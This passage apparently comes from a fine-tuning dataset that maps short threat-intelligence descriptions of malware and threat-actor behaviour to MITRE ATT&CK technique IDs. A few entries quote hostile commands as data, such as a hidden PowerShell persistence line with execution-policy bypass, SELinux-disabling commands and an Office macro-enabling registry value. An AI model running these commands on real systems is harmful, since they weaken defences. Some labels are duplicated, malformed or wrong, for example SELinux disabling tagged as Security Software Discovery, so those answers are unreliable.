                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Group obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR and RC4."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert can establish persistence on a compromised host through modifying the `profile`, `login`, and run command (rc) files associated with the `bash`, `csh`, and `tcsh` shells."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has injected the malware DLL into a target process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Catchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 has been known to self-propagate via SMB."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares', 'T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork has used spearphishing with an attachment to deliver files with exploits to initial victims."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to download and executes additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 compressed data into .zip files prior to exfiltrating it."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather information about TCP connection state."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A variant of  encrypts some C2 with 3DES and RSA."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Sharpshooter, the threat actors relied on victims executing malicious Microsoft Word or PDF files."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team's BCS-server tool connects to the designated C2 server via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Group has used a program named ff.exe to search for specific documents on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower has collected system information on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "communicates with its C2 servers through a TCP socket."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Industroyer collects the victim machine’s Windows GUID."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has executed a PowerShell command to download a file to the system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used AES for encryption of command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In late July 2021, we identified an ongoing spear phishing campaign pushing Konni Rat to target Russia. Konni was first observed in the wild in 2014 and has been potentially linked to the North Korean APT group named APT37"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One version of Helminth uses a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used password spraying to gain access to target systems."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ABK has the ability to identify the installed anti-virus product on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim's current time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used Remote Desktop Services on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has conducted spearphishing campaigns using malicious email attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CISA also observed the threat actor using open-source tools such as Plink and TightVNC for lateral movement. CISA observed the threat actor using the techniques identified in table 8 for lateral movement within the victim environment"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1021.004 - Remote Services: SSH', 'T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has achieved execution by luring users to click on a file that appeared to be an Adobe Flash Player update installer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can download files and additional malware components."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Night Dragon, threat actors used dynamic DNS services for C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS can delete created registry keys as part of its cleanup procedure."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dumps usernames and passwords from Firefox, Internet Explorer, and Outlook."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 used DNS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop has checked the keyboard language using the GetKeyboardLayout() function to avoid installation on Russian-language or other Commonwealth of Independent States-language machines; it will also check the \"GetTextCharset\" function."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates C2 traffic with variable 4-byte XOR keys."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin uses a command prompt to run a PowerShell script from Excel. To assist in establishing persistence, RogueRobin creates \"%APPDATA%\\OneDrive.bat\" and saves the following string to it:\"powershell.exe -WindowStyle Hidden -exec bypass -File “%APPDATA%\\OneDrive.ps1”\"."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 installed a Delphi backdoor that used a custom algorithm for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After being extricated from the network, Dark Halo then returned a second time, exploiting a vulnerability in the organization's Microsoft Exchange Control Panel. Near the end of this incident, Volexity observed the threat actor using a novel technique to bypass Duo multi-factor authentication (MFA) to access the mailbox of a user via the organization's Outlook Web App (OWA) service. Finally, in a third incident, Dark Halo breached the organization by way of its SolarWinds Orion software in June and July 2020"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used Google Chrome browser extensions to infect victims and to steal passwords and cookies."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers the OS version, CPU type, amount of RAM available from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These files can be parsed with lnk-parser to extract all contents"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sharpshooter's first-stage downloader installed Rising Sun to the startup folder \"%Startup%\\mssync.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can use HTTP and HTTPS for command and control communication."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captured screenshots and desktop video recordings."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has used file-sharing services including WeTransfer, TransferNow, and OneDrive to deliver payloads."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete has used base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has established persistence by running `sc.exe` and by setting the `WSearch` service to run automatically."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used WMIC to execute a remote XSL script to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RATANKBA gathers the victim’s IP address via the \"ipconfig -all\" command."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes and stores obfuscated Perl scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CARROTBAT has the ability to delete downloaded files from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The crypter mainly contains junk code to increase entropy of the sample and hide the actual code. We have found 2 crypter variants with some code differences, but mostly with the same logic applied"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve usernames from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has used compromised accounts to send spearphishing emails."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate over HTTP, SMTP, and POP3 for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZLib creates Registry keys to allow itself to run as various services."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar gathers information on local groups and members on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has used decoy traffic to surround its malicious network traffic to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used GitHub as C2, pulling hosted image payloads then committing command execution output to files in specific directories."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors had the ability to use FTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "YAHOYAH uses HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA505 has downloaded additional malware to execute on victim systems."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CharmPower can list the installed applications on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both backdoors target Arabic-speaking users. They use code that checks if the compromised machine has the Arabic language installed"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery', 'T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 has cleared select event log entries."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy encrypts its configuration files with AES-256 and also encrypts its strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Gather the list of all files names listed in the Recent Items folder i.e. Appdata%\\Microsoft\\Windows\\Recent\". - Gather all names of files listed in the Desktop folder of the current user. Gather names of all files and programs listed in the Taskbar i.e. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\\Excel.Application\\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\\Software\\Microsoft\\Office\\&lt;OfficeVersionNumber&gt;.0\\Word\\Security\\VBAWarnings = 0x1"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon execution, the “Windows Folder.exe” file copies itself to C:\\Users\\<username>\\AppData\\Roaming and creates a Windows shortcut (LNK) file in the victim’s Startup directory as a persistence mechanism"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel used embedded iframes on hotel login portals to redirect selected victims to download malware."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
